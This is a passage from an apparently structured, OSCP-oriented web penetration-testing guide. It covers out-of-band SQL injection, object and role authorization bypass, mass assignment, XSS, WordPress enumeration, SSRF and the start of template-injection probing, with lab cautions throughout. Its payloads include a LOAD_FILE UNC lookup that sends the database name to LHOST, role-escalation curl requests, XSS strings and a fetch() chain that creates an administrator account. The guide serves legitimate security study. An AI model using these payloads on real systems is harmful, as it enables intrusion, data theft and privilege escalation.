curl -sk -D - --get --data-urlencode 'PARAM=BASELINE_VALUE' http://TARGET:PORT/PATH
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Saved query context: DBMS identified
Response: no rendered rows; unstable timing
Outbound database capability: unknown
Recognize this detail: Lack of an in-band channel motivates investigation but does not prove an outbound channel exists.
Still missing before method selection: Confirm the exact function, database/OS rights, allowed egress and a uniquely correlated controlled receiver event.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The query generates only the expected controlled event: select the bounded outbound channel. |
| Ruled out in this context | The required function or outbound permission is unavailable: discard this OOB mechanism. |
| Inconclusive | No callback leaves query execution and egress unresolved; use another stable channel if available. |
If you do not yet have this clue: start with Establish SQL query influence and DBMS context.
2.2.17.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: A DBMS/function capable of the selected outbound lookup, sufficient database/OS rights, allowed egress and a uniquely identifiable controlled receiver.
2.2.17.4 Discover and verify prerequisites
ss -lnt
ip route get TARGET
2.2.17.5 Why it works
Out-of-band SQL effects require database execution and a second network path. A received request must be tied to the selected query; a missing callback cannot distinguish blocked egress from failed SQL.
2.2.17.6 Execute and choose variants
Out-of-band testing is relevant only when direct content, errors, boolean differences and repeatable time delays cannot produce decisive evidence and the database can initiate a network request. A callback proves server/database-side resolution or connectivity; it does not by itself prove arbitrary query-result extraction.
Hypothetical MySQL/Windows UNC lookup in an authorized lab:
SELECT LOAD_FILE(CONCAT('\\\\LHOST\\', DATABASE()));
Use a uniquely labelled controlled listener/domain and transmit no sensitive row data during proof. Required conditions include a DBMS/function that performs the lookup, sufficient database/OS permissions, working outbound DNS/SMB/HTTP as applicable and an observable callback. No callback is inconclusive until query execution and outbound reachability are separated. Avoid poisoning/spoofing; the current OSCP+ exam guide prohibits spoofing.
2.2.17.7 Worked example — hypothetical
Observation: an injected request has no visible result. Test: use the documented controlled lookup with a unique label and no sensitive row data. Illustrative output: only that query produces the expected lookup. Interpretation: the channel exists; evaluate permissions and scope before any further use.
2.2.17.8 Verify the result
Correlate the query and unique receiver event; do not claim arbitrary database extraction from one callback.
2.2.17.9 Failure and fallback
Function restrictions, platform behavior, privileges or blocked outbound transport can defeat the route. Use a stable in-band or blind method when available.
2.2.17.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| Query influence exists but rows are not rendered | A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests | §2.2.15 — Infer SQL data through boolean or time-based differences |
| An injectable SELECT renders query results | Compatible column count/types, a reflected result position and rights to the requested data | §2.2.14 — Extract data through UNION and visible SQL results |
| A secret-like value, key file, stored hash, challenge response or ticket | Artifact provenance and format; possible local/domain/application identity and compatible protocol | §3.1.5 — Classify the artifact and its identity context |
2.2.18 Cross an object-ownership boundary
Choose when: A request selects an object by ID/path and two authorized ownership contexts are available · Result: Verified unauthorized object read or modification
Blocks: 4. Operational procedure | Quick sheet
2.2.18.1 Purpose and result
Verified unauthorized object read or modification.
2.2.18.2 Recognition clues
A request selects an object by ID/path and two authorized ownership contexts are available.
2.2.18.2.1 Find the clue from your starting access
Where to investigate: Capture object requests for two authorized study accounts and associate each object ID with its owner before making a cross-account comparison.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: The server accepts a lower-privilege identity's request for an object it should not access
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Verify object ownership, requesting identity and the actual unauthorized effect.
Failure/next check: A 200 response may be a generic page or public object. Validate ownership and intended access before drawing a conclusion.
curl -sk -b lower-role.cookies http://TARGET:PORT/api/objects/OBJECT_ID
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Request identity: USER_A
Object metadata: owner=USER_B
Response: private object bytes
Recognize this detail: A private object owned by another controlled account is returned to the lower-context requester.
Still missing before method selection: Confirm intended sharing rules, account isolation and actual object content/change with valid controls.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The action crosses a real ownership boundary: use the demonstrated read/write primitive. |
| Ruled out in this context | The object is intentionally public/shared: reject unauthorized-access inference from its ID alone. |
| Inconclusive | Unknown ownership or identical generic pages leave the access claim unproved. |
If you do not yet have this clue: start with Map functions, roles and normal requests manually.
2.2.18.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: The server accepts a lower-privilege identity's request for an object it should not access.
2.2.18.4 Discover and verify prerequisites
curl -sk -b lower-role.cookies http://TARGET:PORT/api/objects/OBJECT_ID
2.2.18.5 Why it works
Knowing or guessing an identifier is not the flaw; missing server-side authorization on the selected object is. Public objects and intentionally shared data need different expected behavior.
2.2.18.6 Execute and choose variants
Use two controlled lab identities and one object owned by each:
GET /api/orders/OBJECT_B HTTP/1.1
Host: DOMAIN
Authorization: Bearer USER_A_TOKEN
- Save user A's successful request for object A.
- Change only the path/query/body object reference to object B.
- Keep A's token.
- Verify disclosure or the intended update/delete effect against B's object.
Decisive output: data or a state change belonging to B under A's context. A different error or
200wrapper is not enough.
2.2.18.7 Worked example — hypothetical
Observation: account A can request account B's object ID. Test: compare owner, lower-role and unauthenticated controls. Illustrative output: A receives B's private document. Interpretation: object-level read is confirmed; inspect the document's useful artifacts.
2.2.18.8 Verify the result
Verify object ownership, requesting identity and the actual unauthorized effect.
2.2.18.9 Failure and fallback
A 200 response may be a generic page or public object. Validate ownership and intended access before drawing a conclusion.
2.2.18.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A secret-like value, key file, stored hash, challenge response or ticket | Artifact provenance and format; possible local/domain/application identity and compatible protocol | §3.1.5 — Classify the artifact and its identity context |
| Administrative actions/routes or request methods visible from a lower role | The lower-role identity can invoke a protected server-side action without its required authorization | §2.2.19 — Cross role, function or session authorization boundaries |
| JavaScript endpoints, backup names, exposed configuration or Git metadata | Readable application artifact or a complete recoverable repository; preserve the public-source scope | §2.1.8 — Inspect source, backups, configuration and repository artifacts |
2.2.19 Cross role, function or session authorization boundaries
Choose when: Administrative actions/routes or request methods visible from a lower role · Result: A verified application privilege/action transition
Blocks: 4. Operational procedure | Quick sheet
2.2.19.1 Purpose and result
A verified application privilege/action transition.
2.2.19.2 Recognition clues
Administrative actions/routes or request methods visible from a lower role.
2.2.19.2.1 Find the clue from your starting access
Where to investigate: Compare ordinary-user and authorized-administrator requests for a real protected function, preserving method, CSRF/session and arguments.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: The lower-role identity can invoke a protected server-side action without its required authorization
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Prove the protected effect and requesting identity; a rendered administrative page without action rights is a weaker finding.
Failure/next check: Expired cookies, CSRF checks and wrong methods are request-state failures; preserve the valid baseline before assessing authorization.
curl -sk -i -b lower-role.cookies http://TARGET:PORT/ADMIN_PATH
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Lower-role request: protected management form visible
Protected action result: not yet tested
Recognize this detail: A visible administrative route is a lead; only a server-side protected effect establishes the missing role check.
Still missing before method selection: Replay a valid authorized action under the lower context and independently inspect its permitted effect.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The lower context performs the protected action: select the function/role authorization method. |
| Ruled out in this context | Only the form is visible and every protected action is correctly denied: reject action-level compromise. |
| Inconclusive | CSRF/session failure prevents assessing authorization; repair the normal request first. |
If you do not yet have this clue: start with Map functions, roles and normal requests manually.
2.2.19.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: The lower-role identity can invoke a protected server-side action without its required authorization.
2.2.19.4 Discover and verify prerequisites
curl -sk -i -b lower-role.cookies http://TARGET:PORT/ADMIN_PATH
2.2.19.5 Why it works
Hiding a button is presentation control. Authorization must be enforced on the server for the exact route/method/action; authentication alone does not grant that action.
2.2.19.6 Execute and choose variants
Replay the same operation as:
anonymous -> ordinary user -> alternate ordinary user -> administrator
Compare UI and API paths, then test the legitimate method variants suggested by captured traffic or documentation.
curl -ski -b user-a.cookies http://TARGET:PORT/admin/PATH
curl -ski -X POST -b user-a.cookies -H 'Content-Type: application/json' -d '{"action":"EXPECTED_ACTION"}' http://TARGET:PORT/api/admin/PATH
Failure cue: a route name containing
admindoes not establish a bypass. Verify a privileged read or action under the lower-privileged identity.
2.2.19.7 Worked example — hypothetical
Observation: a low-role account knows an administrative endpoint. Test: replay the authorized action with that account's valid session. Illustrative output: an independent read confirms the protected change. Interpretation: function authorization is missing.
2.2.19.8 Verify the result
Prove the protected effect and requesting identity; a rendered administrative page without action rights is a weaker finding.
2.2.19.9 Failure and fallback
Expired cookies, CSRF checks and wrong methods are request-state failures; preserve the valid baseline before assessing authorization.
2.2.19.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| API objects expose role, ownership or security-sensitive properties | The server binds an untrusted property to a persistent security-relevant field without checking permission | §2.2.20 — Modify a protected property through excessive writable fields |
| WordPress paths/components or an accepted application administrator credential | Exact component/version or a verified role; file-edit/plugin installation rights and runtime write/execution must be checked | §2.2.22 — Use WordPress component evidence and authorized administration features |
| A secret-like value, key file, stored hash, challenge response or ticket | Artifact provenance and format; possible local/domain/application identity and compatible protocol | §3.1.5 — Classify the artifact and its identity context |
2.2.20 Modify a protected property through excessive writable fields
Choose when: API objects expose role, ownership or security-sensitive properties · Result: A verified unauthorized property or role change
Blocks: 4. Operational procedure | Quick sheet
2.2.20.1 Purpose and result
A verified unauthorized property or role change.
2.2.20.2 Recognition clues
API objects expose role, ownership or security-sensitive properties.
2.2.20.2.1 Find the clue from your starting access
Where to investigate: Read a legitimate API profile and inspect its schema/update request for security-sensitive properties not exposed by the user interface.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: The server binds an untrusted property to a persistent security-relevant field without checking permission
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Independently reread the object and demonstrate the resulting permitted action under the same account.
Failure/next check: Ignored/filtered fields disprove that specific assignment route; investigate another property or function boundary.
curl -sk -b cookies.txt http://TARGET:PORT/api/PROFILE_PATH
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
{"displayName":"VALUE","ownerId":"USER_ID","role":"user"}
Recognize this detail: Returned owner/role fields identify properties to investigate; they are not evidence that the server binds them on update.
Still missing before method selection: Check accepted writable fields, independent persistence and a resulting permission change.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | A lower user changes the protected property and gains the verified action: select mass assignment. |
| Ruled out in this context | The sensitive field is ignored or authorization state remains unchanged: reject that property route. |
| Inconclusive | The response merely echoes submitted JSON: reread state before drawing a conclusion. |
If you do not yet have this clue: start with Map functions, roles and normal requests manually.
2.2.20.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: The server binds an untrusted property to a persistent security-relevant field without checking permission.
2.2.20.4 Discover and verify prerequisites
curl -sk -b cookies.txt http://TARGET:PORT/api/PROFILE_PATH
2.2.20.5 Why it works
Returning a property does not make it writable. The change must persist and affect authorization; echoing a submitted JSON field is not sufficient.
2.2.20.6 Execute and choose variants
Start with a valid captured registration/update request and add one server-owned property:
curl -ski -X POST -H 'Content-Type: application/json' -d '{"username":"TEST_USER","password":"TEST_PASSWORD","role":"administrator"}' http://TARGET:PORT/api/v1/register
Decisive output: authenticate as the new/updated identity and perform an administrator-only action. An echoed or stored
rolefield may be ignored by authorization logic.
2.2.20.6.1 Variant — method mismatch reveals a valid route
curl -ski http://TARGET:PORT/api/v1/users/USER/password
curl -ski -X OPTIONS http://TARGET:PORT/api/v1/users/USER/password
curl -ski -X PUT -H 'Authorization: Bearer TOKEN' -H 'Content-Type: application/json' -d '{"password":"NEW_PASSWORD"}' http://TARGET:PORT/api/v1/users/USER/password
Use PUT/PATCH only when a 405, Allow header, documentation or JavaScript behavior supports it. Verify the new credential through a separate login.
2.2.20.7 Worked example — hypothetical
Observation: a profile contains a role field. Test: submit one controlled field change using the valid update request. Illustrative output: a separate authenticated request confirms the elevated action. Interpretation: the writable property enabled a privilege transition.
2.2.20.8 Verify the result
Independently reread the object and demonstrate the resulting permitted action under the same account.
2.2.20.9 Failure and fallback
Ignored/filtered fields disprove that specific assignment route; investigate another property or function boundary.
2.2.20.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| Administrative actions/routes or request methods visible from a lower role | The lower-role identity can invoke a protected server-side action without its required authorization | §2.2.19 — Cross role, function or session authorization boundaries |
| WordPress paths/components or an accepted application administrator credential | Exact component/version or a verified role; file-edit/plugin installation rights and runtime write/execution must be checked | §2.2.22 — Use WordPress component evidence and authorized administration features |
| Forms, downloads, exports, account functions or role-specific interfaces | A normal request baseline and the relevant account/role; authorized accounts for role comparisons | §2.1.7 — Map functions, roles and normal requests manually |
2.2.21 Execute browser code and validate a useful same-origin action
Choose when: Untrusted input reaches an executable HTML/JavaScript context · Result: Verified browser-context execution and, when enabled, an application privilege/action transition
Blocks: 4. Operational procedure | Operational procedure | Quick sheet
2.2.21.1 Purpose and result
Verified browser-context execution and, when enabled, an application privilege/action transition.
2.2.21.2 Recognition clues
Untrusted input reaches an executable HTML/JavaScript context.
2.2.21.2.1 Find the clue from your starting access
Where to investigate: Locate a normal reflected/stored input and inspect its final HTML/DOM context in the browser rather than treating raw reflection as execution.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: Payload reaches a browser execution sink; any useful privileged action additionally needs a victim context, same-origin access and a valid request state
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Verify execution in the intended origin/role and independently verify any claimed action; reflection alone is not execution.
Failure/next check: Encoding, CSP, inert contexts or absent victim interaction can break the chain. Preserve browser execution separately from claimed account takeover.
curl -skG --data-urlencode 'PARAM=UNIQUE_MARKER' http://TARGET:PORT/PATH
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Rendered context: <div>UNIQUE_MARKER</div>
Alternate response: <script>...</script>
Recognize this detail: The output context and escaping determine whether browser execution is plausible; the second form is escaped text.
Still missing before method selection: Verify the actual browser sink/execution, victim origin/role, required interaction and useful authorized same-origin action.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | Browser execution and the specific privileged action are independently confirmed: choose the appropriate XSS chain. |
| Ruled out in this context | The value remains inert/escaped in the relevant sink: reject that payload/context. |
| Inconclusive | Source reflection without DOM execution evidence leaves the browser effect unknown. |
If you do not yet have this clue: start with Map functions, roles and normal requests manually.
2.2.21.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: Payload reaches a browser execution sink; any useful privileged action additionally needs a victim context, same-origin access and a valid request state.
2.2.21.4 Discover and verify prerequisites
curl -skG --data-urlencode 'PARAM=UNIQUE_MARKER' http://TARGET:PORT/PATH
2.2.21.5 Why it works
Reflected, stored and DOM-based paths differ in delivery and sink. Browser JavaScript runs with the origin's access; HttpOnly blocks reading a cookie but does not automatically block authenticated same-origin requests.
2.2.21.6 Execute and choose variants
First inject a unique text marker and inspect where it appears in raw HTML and the DOM. Then use a controlled proof appropriate to the context:
<img src=x onerror=alert(document.domain)>
Classify the path:
- reflected: victim must visit a crafted request;
- stored: payload persists and a relevant user later renders it;
- DOM-based: client-side code moves controlled data into an executable DOM sink.
Decisive output: JavaScript executes under the expected application origin and viewer context. Reflection or HTML display alone is not XSS.
Match the proof to the observed parser context rather than trying a random payload list:
| Observed insertion context | Minimal lab proof candidate | What failure means |
|---|---|---|
| HTML element body | <svg onload=alert(document.domain)> | Sanitization, CSP or non-executable render context |
| Double-quoted attribute | " autofocus onfocus="alert(document.domain) | Quote may be encoded or event attribute stripped |
| Existing JavaScript string | ';alert(document.domain);// | Input may be JSON/string escaped or not reach executable script |
| URL-decoded parameter | percent-encode the context-matched payload in the request | Decode layer or client normalization differs |
Image/SVG/HTML5 event variants are alternative parser entry points, not evidence of distinct vulnerabilities. Inspect the resulting DOM and browser console/CSP before adding encoding or filter-bypass complexity.
HttpOnly prevents JavaScript from reading that cookie, but same-origin XSS may still issue authenticated requests from the victim browser. Recreate a legitimate privileged workflow and obtain its anti-CSRF value first:
fetch('/admin/users/new')
.then(r => r.text())
.then(t => {
const token = new DOMParser().parseFromString(t, 'text/html')
.querySelector('input[name="csrf"]')?.value;
return fetch('/admin/users', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: new URLSearchParams({username:'NEW_USER', password:'NEW_PASSWORD', role:'administrator', csrf:token})
});
});
Prerequisites: the payload is rendered by a suitably privileged victim, under the correct origin; the paths/fields come from captured normal behavior; CSP and application logic allow execution; the action is permitted in the victim session.
Verification: authenticate as
NEW_USERand perform one administrator-only action. If application administration exposes a legitimate plugin/template/file-upload function, continue with web file handling and re-prove server execution.
2.2.21.7 Worked example — hypothetical
Observation: a stored marker is rendered in an administrator-facing page. Test: establish the actual output context and harmless execution proof. Illustrative output: code executes in that browser origin. Interpretation: assess whether a specific privileged same-origin action is reachable.
2.2.21.8 Verify the result
Verify execution in the intended origin/role and independently verify any claimed action; reflection alone is not execution.
2.2.21.9 Failure and fallback
Encoding, CSP, inert contexts or absent victim interaction can break the chain. Preserve browser execution separately from claimed account takeover.
2.2.21.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| Administrative actions/routes or request methods visible from a lower role | The lower-role identity can invoke a protected server-side action without its required authorization | §2.2.19 — Cross role, function or session authorization boundaries |
| A secret-like value, key file, stored hash, challenge response or ticket | Artifact provenance and format; possible local/domain/application identity and compatible protocol | §3.1.5 — Classify the artifact and its identity context |
| Forms, downloads, exports, account functions or role-specific interfaces | A normal request baseline and the relevant account/role; authorized accounts for role comparisons | §2.1.7 — Map functions, roles and normal requests manually |
2.2.22 Use WordPress component evidence and authorized administration features
Choose when: WordPress paths/components or an accepted application administrator credential · Result: A component-specific exploit candidate or verified administrative feature-to-execution path
Blocks: 4. Operational procedure | Operational procedure | Quick sheet
2.2.22.1 Purpose and result
A component-specific exploit candidate or verified administrative feature-to-execution path.
2.2.22.2 Recognition clues
WordPress paths/components or an accepted application administrator credential.
2.2.22.2.1 Find the clue from your starting access
Where to investigate: Confirm WordPress-specific routes/components and inspect the capabilities actually presented after an accepted application login.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: Exact component/version or a verified role; file-edit/plugin installation rights and runtime write/execution must be checked
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Verify application role and any produced execution identity; component names alone do not establish a vulnerable version.
Failure/next check: Missing editor, insufficient role or read-only filesystem changes the branch. Use exact exploit prerequisite matching or credential reuse.
curl -sk -i http://TARGET:PORT/wp-login.php
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Observed paths: /wp-login.php, /wp-content/plugins/COMPONENT/
Authenticated dashboard: USER_ROLE
Recognize this detail: Product/component and role clues guide two different paths: exact component exploit matching or a permitted administrative feature.
Still missing before method selection: Verify build/configuration for a CVE, or actual editor/plugin/file rights plus executable handling for a feature chain.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The precise vulnerable feature or permitted file-consumer route is established: select that mechanism. |
| Ruled out in this context | The account lacks the relevant capability and files are read-only: discard the assumed dashboard-to-shell route. |
| Inconclusive | A product path without exact version/feature evidence is insufficient for a public exploit. |
If you do not yet have this clue: start with Map functions, roles and normal requests manually.
2.2.22.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: Exact component/version or a verified role; file-edit/plugin installation rights and runtime write/execution must be checked.
2.2.22.4 Discover and verify prerequisites
curl -sk -i http://TARGET:PORT/wp-login.php
2.2.22.5 Why it works
WordPress administrator, writable theme/plugin files and operating-system execution are separate facts. Multisite roles, disabled editors and filesystem ownership can remove a familiar route.
2.2.22.6 Execute and choose variants
Recognition: WordPress-specific paths/assets, generator metadata, REST routes or
wp-content. Prerequisite: correct scheme, host header and base path. Decisive output: core/plugin/theme identity or an authenticated capability that maps to a concrete prerequisite.
curl -skI https://HOSTNAME/
curl -sk https://HOSTNAME/robots.txt
curl -sk https://HOSTNAME/wp-json/ | head
curl -sk https://HOSTNAME/wp-content/
curl -sk https://HOSTNAME/wp-login.php -o wp-login.html
Inspect page source for /wp-content/plugins/NAME/, /wp-content/themes/NAME/, versioned assets and alternate base paths. A visible version is a candidate, not exploitability proof.
2.2.22.6.1 WPScan inventory
wpscan --url https://HOSTNAME/ --disable-tls-checks \
--enumerate vp,vt,u --plugins-detection mixed \
--output wpscan-HOSTNAME.txt
WPScan can be useful for component/user candidates, but verify every useful result manually. Vulnerability-database details may require an API token; never place a token in published notes or command history.
Validate one legitimately acquired credential and then enumerate the role/capabilities it actually grants.
curl -sk -c wp.cookies -b wp.cookies \
--data-urlencode 'log=USER' \
--data-urlencode 'pwd=PASSWORD' \
--data-urlencode 'wp-submit=Log In' \
--data-urlencode 'redirect_to=https://HOSTNAME/wp-admin/' \
https://HOSTNAME/wp-login.php -D wp-login.headers
curl -sk -b wp.cookies https://HOSTNAME/wp-admin/ -o wp-admin.html
A redirect alone is inconclusive. Confirm an authenticated page marker and the actual role. Useful capabilities can include media upload, plugin/theme editing/installation, post editing or administrative account management; each requires separate server-side authorization and execution conditions.
XML-RPC exposure is a feature clue, not automatically a vulnerability:
curl -sk -X POST https://HOSTNAME/xmlrpc.php \
-H 'Content-Type: text/xml' \
--data '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'
2.2.22.7 Worked example — hypothetical
Observation: a credential opens the dashboard. Test: inspect its real capabilities and whether the supported file/plugin feature is enabled. Illustrative output: the editor is disabled. Interpretation: investigate permitted components/data rather than assuming a theme shell.
2.2.22.8 Verify the result
Verify application role and any produced execution identity; component names alone do not establish a vulnerable version.
2.2.22.9 Failure and fallback
Missing editor, insufficient role or read-only filesystem changes the branch. Use exact exploit prerequisite matching or credential reuse.
2.2.22.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A product/version clue, advisory or component-specific public PoC | Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect | §4.1.5 — Match a public exploit to the actual component and configuration |
| A PoC, injected command or remote client reports execution | A functioning execution primitive and an observable output or controlled side effect | §4.2.5 — Verify command execution, host and represented identity |
| A password tied to a plausible user and service | Correct local/domain/application identity, reachable compatible service, accepted authentication and account state | §3.1.6 — Validate known passwords and context-specific reuse |
2.2.23 Use server-side requests to inspect reachable internal behavior
Choose when: URL import, preview, webhook or fetch behavior · Result: A confirmed server-side request and a bounded internal read/request capability
Blocks: 4. Operational procedure | Quick sheet
2.2.23.1 Purpose and result
A confirmed server-side request and a bounded internal read/request capability.
2.2.23.2 Recognition clues
URL import, preview, webhook or fetch behavior.
2.2.23.2.1 Find the clue from your starting access
Where to investigate: Browse legitimate import/preview/webhook functions and identify a request whose normal input is a server-fetched URL.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: The application server performs a controllable request; destination/protocol policy and its network position permit the selected resource
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Verify source/request evidence and the exact returned internal behavior; separate blind fetches from response-readable SSRF.
Failure/next check: No callback may be DNS, URL validation, egress or application behavior. Test the first failed boundary and avoid indiscriminate destination guessing.
curl -skG --data-urlencode 'url=http://LHOST:PORT/FETCH_CANARY' http://TARGET:PORT/FETCH_PATH
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Controlled receiver: GET /FETCH_CANARY
Application response: fetched status/preview
Recognize this detail: A correlated receiver event supports server-side fetching; it does not establish internal access or response-readable SSRF.
Still missing before method selection: Separate client-side fetches, server source, destination/protocol restrictions and response visibility.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | A permitted controlled internal request and its bounded result are confirmed: use that specific server-request primitive. |
| Ruled out in this context | The browser fetches directly and the server never requests it: reject server-side request inference. |
| Inconclusive | No receiver event can mean URL validation, DNS or egress; identify the first failed boundary. |
If you do not yet have this clue: start with Map functions, roles and normal requests manually.
2.2.23.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: The application server performs a controllable request; destination/protocol policy and its network position permit the selected resource.
2.2.23.4 Discover and verify prerequisites
curl -skG --data-urlencode 'url=http://LHOST:PORT/SSRF_CANARY' http://TARGET:PORT/FETCH_PATH
2.2.23.5 Why it works
An external callback proves server-side fetching, not unrestricted internal access. Redirect handling, URL parsing and response visibility determine which follow-on requests are possible.
2.2.23.6 Execute and choose variants
Recognition: URL import, webhook, image/PDF fetch, feed preview, link unfurling or callback validation. Prerequisite: a parameter that the server dereferences. Decisive output: a request observed at a controlled listener or a stable response difference tied to the destination.
Listener:
python3 -m http.server LPORT --bind 0.0.0.0
Hypothetical request replay:
curl -sk 'https://HOSTNAME/fetch?url=http://LHOST:LPORT/ssrf-marker'
Interpret the path explicitly:
browser/client -> vulnerable application -> requested URL
The application, not Kali, must resolve and reach the destination. A browser-side fetch, open redirect or reflected URL does not prove SSRF.
2.2.23.6.1 Internal destination and parser variations
2.2.23.6.2 Only after an external controlled callback proves server-side fetching
# Only after an external controlled callback proves server-side fetching
curl -sk 'https://HOSTNAME/fetch?url=http://127.0.0.1:PORT/'
curl -sk 'https://HOSTNAME/fetch?url=http://localhost:PORT/'
2.2.23.6.3 Preserve encoding when the URL is nested in form data
# Preserve encoding when the URL is nested in form data
curl -sk -X POST https://HOSTNAME/fetch \
--data-urlencode 'url=http://127.0.0.1:PORT/'
Compare status, body marker, size and timing against a closed-port control. Internal HTTP content establishes reachability/read capability, not command execution.
2.2.23.7 Worked example — hypothetical
Observation: the controlled listener receives a fetch. Test: compare a justified internal endpoint and an unreachable control. Illustrative output: only an internal HTTP response is reflected. Interpretation: map that application boundary without assuming a general network tunnel.
2.2.23.8 Verify the result
Verify source/request evidence and the exact returned internal behavior; separate blind fetches from response-readable SSRF.
2.2.23.9 Failure and fallback
No callback may be DNS, URL validation, egress or application behavior. Test the first failed boundary and avoid indiscriminate destination guessing.
2.2.23.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| An HTTP endpoint, redirect or hostname-dependent response | Correct scheme/port and virtual host; saved cookies/headers for authenticated comparisons | §2.1.5 — Establish scheme, host, redirects and request state |
| An exposed remote-access application and compatible known credentials | Enabled destination service, matching authentication and protocol-specific logon/session rights | §1.2.20 — Validate RDP, WinRM, VNC and Telnet access contexts |
| A foothold exposes an interface/subnet or a loopback-only service | A usable pivot process/identity and explicit scope; both forward and return directions must be understood | §6.1.3.5 — Discover pivot interfaces, routes and internal service context |
2.2.24 Prove server-side template evaluation and identify its engine
Choose when: Controlled input appears in a server-rendered template, preview, email or report · Result: A verified template-evaluation primitive and an engine/version-specific next test
Blocks: 4. Operational procedure | Quick sheet
2.2.24.1 Purpose and result
A verified template-evaluation primitive and an engine/version-specific next test.
2.2.24.2 Recognition clues
Controlled input appears in a server-rendered template, preview, email or report.
2.2.24.2.1 Find the clue from your starting access
Where to investigate: Inspect mapped previews, reports and server-rendered inputs for template syntax clues; preserve the normal request and literal control.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: The application evaluates attacker-controlled template syntax and the selected engine exposes a useful object or function
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Require repeatable computed output and corroborating engine clues; the value 49 alone does not identify the engine.
Failure/next check: Literal output rejects that syntax in the tested sink; a syntax error can be a parser clue but is not exploitation proof.
curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Literal control: 7*7
Expression response: 49
Recognize this detail: A repeatable computed result supports evaluation in that syntax but does not identify the engine or command capability.
Still missing before method selection: Correlate error/source/framework clues and test a discriminating engine expression before selecting objects.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | One engine family and its exposed primitive are confirmed: choose the matching bounded method. |
| Ruled out in this context | All candidate syntax remains literal in the actual rendered sink: reject SSTI there. |
| Inconclusive | A syntax error alone leaves parser identity and exploitability unresolved. |
If you do not yet have this clue: start with Map functions, roles and normal requests manually.
2.2.24.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: The application evaluates attacker-controlled template syntax and the selected engine exposes a useful object or function.
2.2.24.4 Discover and verify prerequisites
curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH
2.2.24.5 Why it works
A computed expression proves evaluation only in that syntax. File or command effects depend on the actual engine, sandbox and exposed objects.
2.2.24.6 Execute and choose variants
Use when controlled text appears inside a server-rendered template, email preview or report. Replay the real parameter and session. These are separate probes, not one universal payload:
2.2.24.6.1 Jinja/Twig-style expression probe
# Jinja/Twig-style expression probe
curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH
2.2.24.6.2 A different delimiter family, only when the first is literal or errors suggest it
